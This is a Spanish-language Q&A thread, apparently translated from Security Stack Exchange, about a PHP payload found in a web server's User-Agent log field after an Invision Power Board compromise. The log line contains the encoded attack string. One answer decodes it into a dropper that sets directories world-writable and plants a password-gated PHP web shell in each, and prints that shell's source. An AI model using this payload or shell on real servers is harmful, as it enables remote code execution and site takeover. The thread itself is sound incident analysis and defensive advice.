cadena de ataque PHP en los registros de acceso

18

Por lo tanto, una de las instalaciones de Invision Power Board en mi servidor se vio comprometida recientemente. Encontré lo que parecía ser el ataque (usando PHP en la cadena de consulta y las cookies cuidadosamente diseñadas), y bloqueé las cadenas URL con etiquetas PHP en la cadena de consulta.

Sin embargo, la firma de ataque en mis registros del registro real se ve ligeramente diferente a la firma de ataque de mis pruebas. Parece que están enviando PHP en la cadena de agente de usuario. ¿Alguien puede ayudarme a averiguar qué está haciendo esto?

Además, ¿el bloqueo de las cadenas de agente de usuario con una etiqueta PHP solucionaría esto?

93.115.84.154 - - [12/Feb/2013:04:03:23 -0400] "GET / HTTP/1.0" 200 4186 "" "<?php eval(base64_decode(\"QGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KDQphZGRMb2FkZXIoKTsNCiRkYXRhID0gQG9wZW5kaXIoJy4nKTsNCg0Kd2hpbGUgKCRmaWxlID0gQHJlYWRkaXIoJGRhdGEpKQ0Kew0KCSRmaWxlID0gdHJpbSgkZmlsZSk7DQoJaWYgKCEkZmlsZSB8fCBwcmVnX21hdGNoKCcvXlwuKyQvJywgJGZpbGUpIHx8ICFpc19kaXIoJGZpbGUpKSBjb250aW51ZTsNCglhZGRMb2FkZXIoJGZpbGUpOw0KfQ0KDQpAY2xvc2VkaXIoJGRhdGEpOw0KDQpmdW5jdGlvbiBhZGRMb2FkZXIoJGRpciA9ICcnKQ0Kew0KICAgIGlmICgkZGlyKSAkZGlyIC49ICcvJzsNCiAgICBAY2htb2QoJGRpciwgNzc3KTsNCiAgICBAc3lzdGVtKCJjaG1vZCA3NzcgJGRpciIpOw0KICAgIA0KICAgICRmcCA9IGZvcGVuKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiLCAidyIpOyANCiAgICBmd3JpdGUoJGZwLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBTkNnMEtRR2x1YVY5elpYUW9KMkZzYkc5M1gzVnliRjltYjNCbGJpY3NJREVwT3cwS1FHbHVhVjl6WlhRb0oyUmxabUYxYkhSZmMyOWphMlYwWDNScGJXVnZkWFFuTENBMk1DazdEUXBBYVc1cFgzTmxkQ2duYldGNFgyVjRaV04xZEdsdmJsOTBhVzFsSnl3Z05qQXBPdzBLUUhObGRGOTBhVzFsWDJ4cGJXbDBLRFl3S1RzTkNnMEtKR1JoZEdFZ1BTQkFkVzV6WlhKcFlXeHBlbVVvWW1GelpUWTBYMlJsWTI5a1pTaDBjbWx0S0VBa1gxQlBVMVJiSjJSaGRHRW5YU2twS1RzTkNnMEthV1lnS0VBaGFYTmZZWEp5WVhrb0pHUmhkR0VwSUh4OElHMWtOU2drWkdGMFlWc25jR0Z6YzNkdmNtUW5YU2tnSVQwZ0oyUXpaR1kwTXpsak0yVTBZakpqTkRFNU1qQmtPR1V5TnpNek1URXpNak0ySnlrZ1pYaHBkRHNOQ21sbUlDaEFKR1JoZEdGYkoyTnZaR1VuWFNrZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDUmtZWFJoV3lkamIyUmxKMTBwS1RzTkNtbG1JQ2hBSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFNrZ2NISnBiblFnSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFRzTkNnMEtQejQ9JykpOw0KCWZjbG9zZSgkZnApOw0KDQoJaWYgKGZpbGVfZXhpc3RzKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiKSkNCgl7DQogICAgICAgICRjayA9ICIxODIzNjQ5MzY1ODIwMzU0IjsNCgkgICAgcHJpbnQgIiRjazp7Kn06JGRpcjp7Kn06IjsNCgkJZXhpdDsNCgl9DQp9\")); ?>"
    
pregunta Brandon Wamboldt 04.03.2013 - 15:20
fuente

2 respuestas

25

Como señaló Thomas, este ataque está diseñado para explotar el manejo deficiente del contenido en las utilidades de registro. Hay muchos motores de "registro a HTML" que simplemente extraen el texto de los registros y los colocan a ciegas en una plantilla HTML. Cuando el usuario solicita la página HTML del servidor, el motor de PHP analiza las etiquetas <?php y se ejecuta el código. Dado que muchos servidores permiten que PHP maneja los archivos .html , esto tiene una posibilidad razonable de funcionar.

Echemos un vistazo a la carga útil. El bloque de base64 que ve en esa cadena de ataque se decodifica al siguiente script PHP:

@ini_set('allow_url_fopen', 1);

addLoader();
$data = @opendir('.');

while ($file = @readdir($data))
{
    $file = trim($file);
    if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;
    addLoader($file);
}

@closedir($data);

function addLoader($dir = '')
{
    if ($dir) $dir .= '/';
    @chmod($dir, 777);
    @system("chmod 777 $dir");

    $fp = fopen("{$dir}2e030ba348eb47877b994934d420c475.php", "w"); 
    fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='));
    fclose($fp);

    if (file_exists("{$dir}2e030ba348eb47877b994934d420c475.php"))
    {
        $ck = "1823649365820354";
        print "$ck:{*}:$dir:{*}:";
        exit;
    }
}

Vamos a analizar esto un poco ...

  1. La línea @ini_set habilita los manejadores de URL en las llamadas fopen , por lo que los recursos externos se pueden recuperar. El prefijo @ suprime cualquier error que pueda ocurrir si falla la llamada.
  2. La llamada a addLoader() hace la mayor parte del trabajo. Voy a entrar en esto en un momento.
  3. @opendir('.') obtiene un identificador para el directorio actual.
  4. El bucle while se ejecuta en cada subdirectorio del directorio y llama a addLoader($file) para cada uno. Utiliza una expresión regular para omitir las entradas . y .. . No se deje engañar por el nombre de la variable, esto no pasa por los archivos.
  5. Finalmente, llama a @closedir($data) . ¡Agradable de limpiar!

¿Pero qué hace addLoader ? Esencialmente, intenta chmod 777 todos los directorios que puede encontrar, luego descarga un archivo PHP llamado 2e030ba348eb47877b994934d420c475.php en ellos, con algunos contenidos tomados de una cadena base64. El bloque final de código parece ser algún tipo de mecanismo para permitir que el atacante identifique qué rutas se escribieron con éxito, quizás utilizando un número mágico para la automatización. Nota al margen: no puedo encontrar ninguna referencia al hash de nombre de archivo en línea o en cualquier base de datos de hash que conozca.

Vamos a analizar esa base64:

<?php

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 60);
@ini_set('max_execution_time', 60);
@set_time_limit(60);

$data = @unserialize(base64_decode(trim(@$_POST['data'])));

if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
if (@$data['code']) eval(base64_decode($data['code']));
if (@$data['check_code']) print $data['check_code'];

?>

Esto es bastante simple. Las primeras llamadas intentan configurar un entorno permisivo, donde se pueden cargar recursos externos y los scripts pueden ejecutarse durante hasta 60 segundos. Toma un parámetro POST llamado data y lo deserializa en una matriz, y verifica que la contraseña coincida con un hash MD5 codificado. Intenté buscar este hash en unas pocas bases de datos, pero no pude encontrar un texto plano correspondiente. Si la contraseña es correcta, luego verifica el parámetro code , que luego ejecuta. También tiene una opción check_code , que es presumiblemente para verificar que el código llegó correctamente después de que se realizó la codificación y decodificación del transporte.

En definitiva, este es un shell PHP bastante bog estándar con una carga útil de entrega que intenta garantizar la máxima cobertura en caso de cualquier subdirectorio grabable.

    
respondido por el Polynomial 04.03.2013 - 15:52
fuente
6

El atacante espera que usted consulte sus archivos de registro a través de una interfaz basada en la Web que incluye el contenido del registro "tal como está" en algún HTML, lo que lleva al servidor a interpretar la directiva de PHP incluida en el User-Agent por el atacante.

Lo mejor que puedes hacer es no usar una interfaz de registro a html vulnerable que tenga este agujero en particular. Bloqueo & co debe ser una medida temporal para recuperarse rápidamente de los ataques hasta que se solucione el error real, pero no tener dicho error es mucho mejor.

    
respondido por el Thomas Pornin 04.03.2013 - 15:30
fuente

Lea otras preguntas en las etiquetas